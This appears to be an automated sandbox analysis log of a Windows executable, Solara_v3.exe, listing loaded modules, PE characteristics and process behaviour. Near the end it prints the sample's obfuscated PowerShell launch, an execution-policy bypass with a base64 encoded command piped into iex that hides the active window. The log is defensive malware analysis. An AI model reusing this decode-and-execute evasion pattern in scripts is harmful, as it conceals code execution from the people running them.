    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dllJump to behavior
    Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
    Source: Solara_v3.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
    Source: Solara_v3.exeStatic PE information: Image base 0x140000000 > 0x60000000
    Source: Solara_v3.exeStatic file information: File size 33921780 > 1048576
    Source: Solara_v3.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x1543e00
    Source: Solara_v3.exeStatic PE information: Raw size of .rdata is bigger than: 0x100000 < 0x9f8c00
    Source: Solara_v3.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
    Source: Solara_v3.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
    Source: Solara_v3.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
    Source: Solara_v3.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
    Source: Solara_v3.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
    Source: Solara_v3.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
    Source: Solara_v3.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Solara_v3.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
    Source: Binary string: D:\a\deno\deno\target\release\deps\deno.pdb source: Solara_v3.exe
    Source: Binary string: Automation.pdbE source: powershell.exe, 00000003.00000002.2179569259.000001E16C037000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2179137120.000001E16BE20000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: 8C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.pdb source: powershell.exe, 00000003.00000002.2161258730.000001E1016E0000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: 8C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.pdbhP source: powershell.exe, 00000003.00000002.2161258730.000001E1016E0000.00000004.00000800.00020000.00000000.sdmp
    Source: Solara_v3.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
    Source: Solara_v3.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
    Source: Solara_v3.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
    Source: Solara_v3.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
    Source: Solara_v3.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline"
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline"Jump to behavior
    Source: Solara_v3.exeStatic PE information: section name: _RDATA
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FF848F236A3 pushad ; ret 3_2_00007FF848F236B1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FF848F28DD3 push FFFFFFE8h; retf 3_2_00007FF848F28DF1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FF848F32CA2 push FFFFFFE1h; retf 3_2_00007FF848F32CA4
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FF848F2CB90 pushad ; retf 3_2_00007FF848F2CBAD
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.dllJump to dropped file
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5205Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2495Jump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.dllJump to dropped file
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 940Thread sleep count: 5205 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876Thread sleep count: 2495 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -922337203685477s >= -30000sJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 320Thread sleep time: -1844674407370954s >= -30000sJump to behavior
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: Solara_v3.exe, 00000000.00000003.2191452729.000001E8E3FAC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllW
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess information queried: ProcessInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeMemory allocated: page read and write | page guardJump to behavior

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Yara detected Powershell decode and execute
    Source: Yara matchFile source: amsi64_652.amsi.csv, type: OTHER
    Bypasses PowerShell execution policy
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAF
    Encrypted powershell cmdline option found
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: Base64 decoded [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"aWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ1dpbjMyJykuVHlwZSkgew0KICAgIEFkZC1UeXBlIEAiDQogICAgdXNpbmcgU3lzdGVtOw0KICAgIHVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsNCg0KICAgIHB1YmxpYyBjbGFzcyBXaW4zMiB7DQogICAgICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0NCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldEZvcmVncm91bmRXaW5kb3coKTsNCg0KICAgICAgICBbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildDQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQ0KICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIFNob3dXaW5kb3coSW50UHRyIGhXbmQsIGludCBuQ21kU2hvdyk7DQogICAgfQ0KIkANCn0NCmZ1bmN0aW9uIEdldEFjdGl2ZVdpbmRvd1RpdGxlKCkgew0KICAgICRoV25kID0gW1dpbjMyXTo6R2V0Rm9yZWdyb3VuZFdpbmRvdygpDQogICAgJHNiID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyKDI1NikNCiAgICBbV2luMzJdOjpHZXRXaW5kb3dUZXh0KCRoV25kLCAkc2IsICRzYi5DYXBhY2l0eSkgfCBPdXQtTnVsbA0KICAgIHJldHVybiAkc2IuVG9TdHJpbmcoKQ0KfQ0KZnVuY3Rpb24gSGlkZUFjdGl2ZVdpbmRvdygpIHsNCiAgICAkaFduZCA9IFtXaW4zMl06OkdldEZvcmVncm91bmRXaW5kb3coKQ0KICAgIFtXaW4zMl06OlNob3dXaW5kb3coJGhXbmQsIDApDQp9DQokY3VycmVudFdpbmRvd1RpdGxlID0gR2V0QWN0aXZlV2luZG93VGl0bGUNCkhpZGVBY3RpdmVXaW5kb3cNCg=="}' | ConvertFrom-Json).Script)) | iex
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: Base64 decoded [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"aWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ1dpbjMyJykuVHlwZSkgew0KICAgIEFkZC1UeXBlIEAiDQogICAgdXNpbmcgU3lzdGVtOw0KICAgIHVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsNCg0KICAgIHB1YmxpYyBjbGFzcyBXaW4zMiB7DQogICAgICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0NCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldEZvcmVncm91bmRXaW5kb3coKTsNCg0KICAgICAgICBbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildDQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQ0KICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIFNob3dXaW5kb3coSW50UHRyIGhXbmQsIGludCBuQ21kU2hvdyk7DQogICAgfQ0KIkANCn0NCmZ1bmN0aW9uIEdldEFjdGl2ZVdpbmRvd1RpdGxlKCkgew0KICAgICRoV25kID0gW1dpbjMyXTo6R2V0Rm9yZWdyb3VuZFdpbmRvdygpDQogICAgJHNiID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyKDI1NikNCiAgICBbV2luMzJdOjpHZXRXaW5kb3dUZXh0KCRoV25kLCAkc2IsICRzYi5DYXBhY2l0eSkgfCBPdXQtTnVsbA0KICAgIHJldHVybiAkc2IuVG9TdHJpbmcoKQ0KfQ0KZnVuY3Rpb24gSGlkZUFjdGl2ZVdpbmRvdygpIHsNCiAgICAkaFduZCA9IFtXaW4zMl06OkdldEZvcmVncm91bmRXaW5kb3coKQ0KICAgIFtXaW4zMl06OlNob3dXaW5kb3coJGhXbmQsIDApDQp9DQokY3VycmVudFdpbmRvd1RpdGxlID0gR2V0QWN0aXZlV2luZG93VGl0bGUNCkhpZGVBY3RpdmVXaW5kb3cNCg=="}' | 